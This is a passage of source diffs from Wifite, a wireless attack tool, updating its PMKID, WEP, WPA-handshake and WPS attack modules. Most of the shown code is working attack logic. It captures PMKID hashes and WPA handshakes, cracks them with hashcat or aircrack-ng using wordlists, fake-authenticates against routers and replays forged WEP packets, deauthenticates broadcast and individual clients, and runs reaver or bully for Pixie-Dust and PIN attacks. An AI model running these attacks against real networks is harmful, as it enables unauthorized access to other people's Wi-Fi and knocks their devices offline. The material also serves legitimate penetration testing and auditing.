Runs hashcat containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking PMKID ' +
'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')
# TODO: Uncomment once --crack is updated to support recracking PMKIDs.
#Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist)
key = Hashcat.crack_pmkid(pmkid_file)
if key is None:
# Failed to crack.
if Configuration.wordlist is not None:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed {O}Passphrase not found in dictionary.\n')
return False
else:
# Successfully cracked.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_file, key)
Color.pl('\n')
self.crack_result.dump()
return True
def dumptool_thread(self):
'''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and dumptool.poll() is None:
time.sleep(0.5)
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''Saves a copy of the pmkid (handshake) to hs/ directory.'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
return pmkid_file

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
@@ -18,7 +18,7 @@ class AttackWEP(Attack):
Contains logic for attacking a WEP-encrypted access point. Contains logic for attacking a WEP-encrypted access point.
''' '''
fakeauth_wait = 5 fakeauth_wait = 5 # TODO: Configuration?
def __init__(self, target): def __init__(self, target):
super(AttackWEP, self).__init__(target) super(AttackWEP, self).__init__(target)
@@ -29,7 +29,7 @@ class AttackWEP(Attack):
''' '''
Initiates full WEP attack. Initiates full WEP attack.
Including airodump-ng starting, cracking, etc. Including airodump-ng starting, cracking, etc.
Returns: True if attack is succesful, false otherwise Returns: True if attack is successful, false otherwise
''' '''
aircrack = None # Aircrack process, not started yet aircrack = None # Aircrack process, not started yet
@@ -69,7 +69,7 @@ class AttackWEP(Attack):
# Use our interface's MAC address for the attacks. # Use our interface's MAC address for the attacks.
client_mac = Ifconfig.get_mac(Configuration.interface) client_mac = Ifconfig.get_mac(Configuration.interface)
# Keep us authenticated # Keep us authenticated
fakeauth_proc = Aireplay(self.target, "fakeauth") fakeauth_proc = Aireplay(self.target, 'fakeauth')
elif len(airodump_target.clients) == 0: elif len(airodump_target.clients) == 0:
# Failed to fakeauth, can't use our MAC. # Failed to fakeauth, can't use our MAC.
# And there are no associated clients. Use one and tell the user. # And there are no associated clients. Use one and tell the user.
@@ -108,16 +108,16 @@ class AttackWEP(Attack):
current_ivs = airodump_target.ivs current_ivs = airodump_target.ivs
total_ivs = previous_ivs + current_ivs total_ivs = previous_ivs + current_ivs
status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs) status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)
if fakeauth_proc: if fakeauth_proc:
if fakeauth_proc and fakeauth_proc.status: if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}" status += ', {G}fakeauth{W}'
else: else:
status += ", {R}no-auth{W}" status += ', {R}no-auth{W}'
if aireplay.status is not None: if aireplay.status is not None:
status += ", %s" % aireplay.status status += ', %s' % aireplay.status
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WEP", airodump_target, "%s" % attack_name, status) Color.pattack('WEP', airodump_target, '%s' % attack_name, status)
# Check if we cracked it. # Check if we cracked it.
if aircrack and aircrack.is_cracked(): if aircrack and aircrack.is_cracked():
@@ -141,7 +141,7 @@ class AttackWEP(Attack):
if aircrack and aircrack.is_running(): if aircrack and aircrack.is_running():
# Aircrack is running in the background. # Aircrack is running in the background.
Color.p("and {C}cracking{W}") Color.p('and {C}cracking{W}')
# Check number of IVs, crack if necessary # Check number of IVs, crack if necessary
if total_ivs > Configuration.wep_crack_at_ivs: if total_ivs > Configuration.wep_crack_at_ivs:
@@ -180,7 +180,7 @@ class AttackWEP(Attack):
# If .xor is not there, the process failed. # If .xor is not there, the process failed.
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name) Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
# XXX: For debugging # XXX: For debugging
Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break break
@@ -193,8 +193,8 @@ class AttackWEP(Attack):
if replay_file: if replay_file:
Color.pl('{+} {C}forged packet{W},' + Color.pl('{+} {C}forged packet{W},' +
' {G}replaying...{W}') ' {G}replaying...{W}')
wep_attack_type = WEPAttackType("forgedreplay") wep_attack_type = WEPAttackType('forgedreplay')
attack_name = "forgedreplay" attack_name = 'forgedreplay'
aireplay = Aireplay(self.target, aireplay = Aireplay(self.target,
'forgedreplay', 'forgedreplay',
client_mac=client_mac, client_mac=client_mac,
@@ -206,7 +206,7 @@ class AttackWEP(Attack):
break break
else: else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break # Continue to other attacks break # Continue to other attacks
@@ -251,16 +251,7 @@ class AttackWEP(Attack):
return self.success return self.success
except Exception as e: except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e)) Color.pexception(e)
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
continue continue
# End of big try-catch # End of big try-catch
# End of for-each-attack-type loop # End of for-each-attack-type loop
@@ -277,29 +268,29 @@ class AttackWEP(Attack):
or if we should stop attacking this target (returns True). or if we should stop attacking this target (returns True).
''' '''
if target is None: if target is None:
Color.pl("") Color.pl('')
return True return True
target_name = target.essid if target.essid_known else target.bssid target_name = target.essid if target.essid_known else target.bssid
Color.pl("\n\n{!} {O}Interrupted") Color.pl('\n\n{!} {O}Interrupted')
Color.pl("{+} {W}Next steps:") Color.pl('{+} {W}Next steps:')
# Deauth clients & retry # Deauth clients & retry
attack_index = 1 attack_index = 1
Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name)) Color.pl(' {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))
# Move onto a different WEP attack # Move onto a different WEP attack
for attack_name in attacks_remaining: for attack_name in attacks_remaining:
attack_index += 1 attack_index += 1
Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name)) Color.pl(' {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))
# Stop attacking entirely # Stop attacking entirely
attack_index += 1 attack_index += 1
Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index) Color.pl(' {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)
while True: while True:
answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index)) answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index: if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index) Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)
continue continue
answer = int(answer) answer = int(answer)
break break
@@ -309,7 +300,7 @@ class AttackWEP(Attack):
deauth_count = 1 deauth_count = 1
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
Aireplay.deauth(target.bssid, essid=target.essid) Aireplay.deauth(target.bssid, essid=target.essid)
attacking_mac = Ifconfig.get_mac(Configuration.interface) attacking_mac = Ifconfig.get_mac(Configuration.interface)
@@ -318,13 +309,13 @@ class AttackWEP(Attack):
continue # Don't deauth ourselves. continue # Don't deauth ourselves.
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
deauth_count += 1 deauth_count += 1
Color.clear_entire_line() Color.clear_entire_line()
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)
# Re-insert current attack to top of list of attacks remaining # Re-insert current attack to top of list of attacks remaining
attacks_remaining.insert(0, current_attack) attacks_remaining.insert(0, current_attack)
@@ -336,11 +327,11 @@ class AttackWEP(Attack):
attacks_remaining.insert(0, attacks_remaining.pop(answer-2)) attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
return False # Don't stop return False # Don't stop
def fake_auth(self): def fake_auth(self):
''' '''
Attempts to fake-authenticate with target. Attempts to fake-authenticate with target.
Returns: True if successful, Returns: True if successful, False is unsuccessful.
False is unsuccesful.
''' '''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid) Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait) fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -349,7 +340,7 @@ class AttackWEP(Attack):
else: else:
Color.pl(' {R}failed{W}') Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth: if Configuration.require_fakeauth:
# Fakeauth is requried, fail # Fakeauth is required, fail
raise Exception( raise Exception(
'Fake-authenticate did not complete within' + 'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait) ' %d seconds' % AttackWEP.fakeauth_wait)
@@ -363,11 +354,10 @@ class AttackWEP(Attack):
return fakeauth return fakeauth
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize(True) Configuration.initialize(True)
from ..model.target import Target from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields) target = Target(fields)
wep = AttackWEP(target) wep = AttackWEP(target)
wep.run() wep.run()

View File

@@ -1,7 +1,8 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
from ..tools.aircrack import Aircrack
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay from ..tools.aireplay import Aireplay
from ..config import Configuration from ..config import Configuration
@@ -24,20 +25,20 @@ class AttackWPA(Attack):
self.success = False self.success = False
def run(self): def run(self):
''' '''Initiates full WPA handshake capture attack.'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack # Skip if target is not WPS
if Configuration.wps_only and self.target.wps: if Configuration.wps_only and self.target.wps == False:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid) Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False self.success = False
return self.success return self.success
handshake = None # Skip if user only wants to run PMKID attack
if Configuration.use_pmkid_only:
self.success = False
return False
# Capture the handshake ("do it live!") # Capture the handshake (or use an old one)
if handshake is None:
handshake = self.capture_handshake() handshake = self.capture_handshake()
if handshake is None: if handshake is None:
@@ -49,18 +50,37 @@ class AttackWPA(Attack):
Color.pl('\n{+} analysis of captured handshake file:') Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze() handshake.analyze()
# Check wordlist
if Configuration.wordlist is None:
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist ({R}--dict{O}) is not set')
self.success = False
return False
elif not os.path.exists(Configuration.wordlist):
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist {R}%s{O} was not found' % Configuration.wordlist)
self.success = False
return False
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])
# Crack it # Crack it
key = self.crack_handshake(handshake, Configuration.wordlist) key = Aircrack.crack_handshake(handshake, show_command=False)
if key is None: if key is None:
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
self.success = False self.success = False
else: else:
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key) self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump() self.crack_result.dump()
self.success = True self.success = True
return self.success return self.success
def capture_handshake(self): def capture_handshake(self):
''' Returns captured or stored handshake, otherwise None ''' '''Returns captured or stored handshake, otherwise None.'''
handshake = None handshake = None
# First, start Airodump process # First, start Airodump process
@@ -70,7 +90,7 @@ class AttackWPA(Attack):
output_file_prefix='wpa') as airodump: output_file_prefix='wpa') as airodump:
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
self.clients = [] self.clients = []
@@ -81,7 +101,7 @@ class AttackWPA(Attack):
essid = airodump_target.essid if airodump_target.essid_known else None essid = airodump_target.essid if airodump_target.essid_known else None
handshake = self.load_handshake(bssid=bssid, essid=essid) handshake = self.load_handshake(bssid=bssid, essid=essid)
if handshake: if handshake:
Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid) Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile) Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
return handshake return handshake
@@ -91,10 +111,10 @@ class AttackWPA(Attack):
while handshake is None and not timeout_timer.ended(): while handshake is None and not timeout_timer.ended():
step_timer = Timer(1) step_timer = Timer(1)
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPA", Color.pattack('WPA',
airodump_target, airodump_target,
"Handshake capture", 'Handshake capture',
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) 'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))
# Find .cap file # Find .cap file
cap_files = airodump.find_files(endswith='.cap') cap_files = airodump.find_files(endswith='.cap')
@@ -114,7 +134,12 @@ class AttackWPA(Attack):
handshake = Handshake(temp_file, bssid=bssid, essid=essid) handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake(): if handshake.has_handshake():
# We got a handshake # We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}') Color.clear_entire_line()
Color.pattack('WPA',
airodump_target,
'Handshake capture',
'{G}Captured handshake{W}')
Color.pl('')
break break
# There is no handshake # There is no handshake
@@ -127,11 +152,11 @@ class AttackWPA(Attack):
for client in airodump_target.clients: for client in airodump_target.clients:
if client.station not in self.clients: if client.station not in self.clients:
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPA", Color.pattack('WPA',
airodump_target, airodump_target,
"Handshake capture", 'Handshake capture',
"Discovered new client: {G}%s{W}" % client.station) 'Discovered new client: {G}%s{W}' % client.station)
Color.pl("") Color.pl('')
self.clients.append(client.station) self.clients.append(client.station)
# Send deauth to a client or broadcast # Send deauth to a client or broadcast
@@ -146,83 +171,13 @@ class AttackWPA(Attack):
if handshake is None: if handshake is None:
# No handshake, attack failed. # No handshake, attack failed.
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))
return handshake return handshake
else: else:
# Save copy of handshake to ./hs/ # Save copy of handshake to ./hs/
self.save_handshake(handshake) self.save_handshake(handshake)
return handshake return handshake
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
with open(key_file, "r") as fid:
key = fid.read().strip()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def load_handshake(self, bssid, essid): def load_handshake(self, bssid, essid):
if not os.path.exists(Configuration.wpa_handshake_dir): if not os.path.exists(Configuration.wpa_handshake_dir):
return None return None
@@ -250,17 +205,20 @@ class AttackWPA(Attack):
''' '''
# Create handshake dir # Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir): if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir) os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date # Generate filesystem-safe filename from bssid, essid and date
if handshake.essid and type(handshake.essid) is str:
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
else:
essid_safe = 'UnknownEssid'
bssid_safe = handshake.bssid.replace(':', '-') bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S') date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
if Configuration.wpa_strip_handshake: if Configuration.wpa_strip_handshake:
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename) Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)
handshake.strip(outfile=cap_filename) handshake.strip(outfile=cap_filename)
Color.pl('{G}saved{W}') Color.pl('{G}saved{W}')
else: else:
@@ -282,25 +240,25 @@ class AttackWPA(Attack):
for index, client in enumerate([None] + self.clients): for index, client in enumerate([None] + self.clients):
if client is None: if client is None:
target_name = "*broadcast*" target_name = '*broadcast*'
else: else:
target_name = client target_name = client
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPA", Color.pattack('WPA',
target, target,
"Handshake capture", 'Handshake capture',
"Deauthing {O}%s{W}" % target_name) 'Deauthing {O}%s{W}' % target_name)
Aireplay.deauth(target.bssid, client_mac=client, timeout=2) Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize(True) Configuration.initialize(True)
from ..model.target import Target from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields) target = Target(fields)
wpa = AttackWPA(target) wpa = AttackWPA(target)
try: try:
wpa.run() wpa.run()
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl("") Color.pl('')
pass pass
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)

View File

@@ -1,47 +1,86 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
from ..util.color import Color from ..util.color import Color
from ..util.process import Process
from ..config import Configuration from ..config import Configuration
from ..tools.bully import Bully from ..tools.bully import Bully
from ..tools.reaver import Reaver from ..tools.reaver import Reaver
class AttackWPS(Attack): class AttackWPS(Attack):
def __init__(self, target):
@staticmethod
def can_attack_wps():
return Reaver.exists() or Bully.exists()
def __init__(self, target, pixie_dust=False):
super(AttackWPS, self).__init__(target) super(AttackWPS, self).__init__(target)
self.success = False self.success = False
self.crack_result = None self.crack_result = None
self.pixie_dust = pixie_dust
def run(self): def run(self):
''' Run all WPS-related attacks ''' ''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver/Bully # Drop out if user specified to not use Reaver/Bully
if Configuration.no_wps: if Configuration.use_pmkid_only:
Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
self.success = False self.success = False
return self.success return False
################### if Configuration.no_wps:
# Pixie-Dust attack self.success = False
if Configuration.use_bully: return False
# Bully: Pixie-dust
bully = Bully(self.target) if not Configuration.wps_pixie and self.pixie_dust:
Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' +
'{O}%s{W}' % self.target.essid)
self.success = False
return False
if not Configuration.wps_pin and not self.pixie_dust:
Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' +
'on {O}%s{W}' % self.target.essid)
self.success = False
return False
if not Reaver.exists() and Bully.exists():
# Use bully if reaver isn't available
return self.run_bully()
elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists():
# Use bully if reaver can't do pixie-dust
return self.run_bully()
elif Configuration.use_bully:
# Use bully if asked by user
return self.run_bully()
elif not Reaver.exists():
# Print error if reaver isn't found (bully not available)
if self.pixie_dust:
Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}')
else:
Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}')
return False
elif self.pixie_dust and not Reaver.is_pixiedust_supported():
# Print error if reaver can't support pixie-dust (bully not available)
Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}')
return False
else:
return self.run_reaver()
def run_bully(self):
bully = Bully(self.target, pixie_dust=self.pixie_dust)
bully.run() bully.run()
bully.stop() bully.stop()
self.crack_result = bully.crack_result self.crack_result = bully.crack_result
self.success = self.crack_result is not None self.success = self.crack_result is not None
return self.success return self.success
else:
reaver = Reaver(self.target)
if reaver.is_pixiedust_supported(): def run_reaver(self):
# Reaver: Pixie-dust reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
reaver = Reaver(self.target)
reaver.run() reaver.run()
self.crack_result = reaver.crack_result self.crack_result = reaver.crack_result
self.success = self.crack_result is not None self.success = self.crack_result is not None
return self.success return self.success
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
return False

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import os import os
@@ -8,7 +8,7 @@ from .tools.macchanger import Macchanger
class Configuration(object): class Configuration(object):
''' Stores configuration variables and functions for Wifite. ''' ''' Stores configuration variables and functions for Wifite. '''
version = '2.1.5' version = '2.2.4'
initialized = False # Flag indicating config has been initialized initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory temp_dir = None # Temporary directory
@@ -35,7 +35,6 @@ class Configuration(object):
cls.kill_conflicting_processes = False cls.kill_conflicting_processes = False
cls.scan_time = 0 # Time to wait before attacking all targets cls.scan_time = 0 # Time to wait before attacking all targets
cls.all_targets = False # Run attacks against all targets automatically
cls.tx_power = 0 # Wifi transmit power (0 is default) cls.tx_power = 0 # Wifi transmit power (0 is default)
cls.interface = None cls.interface = None
@@ -66,7 +65,7 @@ class Configuration(object):
cls.require_fakeauth = False cls.require_fakeauth = False
cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
# Aireplay if IVs don't increaes. # Aireplay if IVs don't increaes.
# "0" means never restart. # '0' means never restart.
cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# before restarting the process. # before restarting the process.
cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
@@ -76,13 +75,18 @@ class Configuration(object):
cls.wpa_filter = False # Only attack WPA networks cls.wpa_filter = False # Only attack WPA networks
cls.wpa_deauth_timeout = 15 # Wait time between deauths cls.wpa_deauth_timeout = 15 # Wait time between deauths
cls.wpa_attack_timeout = 500 # Wait time before failing cls.wpa_attack_timeout = 500 # Wait time before failing
cls.wpa_handshake_dir = "hs" # Dir to store handshakes cls.wpa_handshake_dir = 'hs' # Dir to store handshakes
cls.wpa_strip_handshake = False # Strip non-handshake packets cls.wpa_strip_handshake = False # Strip non-handshake packets
cls.ignore_old_handshakes = False # Always fetch a new handshake cls.ignore_old_handshakes = False # Always fetch a new handshake
cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack
# Default dictionary for cracking # Default dictionary for cracking
cls.wordlist = None cls.wordlist = None
wordlists = [ wordlists = [
'./wordlist-top4800-probable.txt', # Local file (ran from cloned repo)
'/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr
'/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local
# Other passwords found on Kali
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
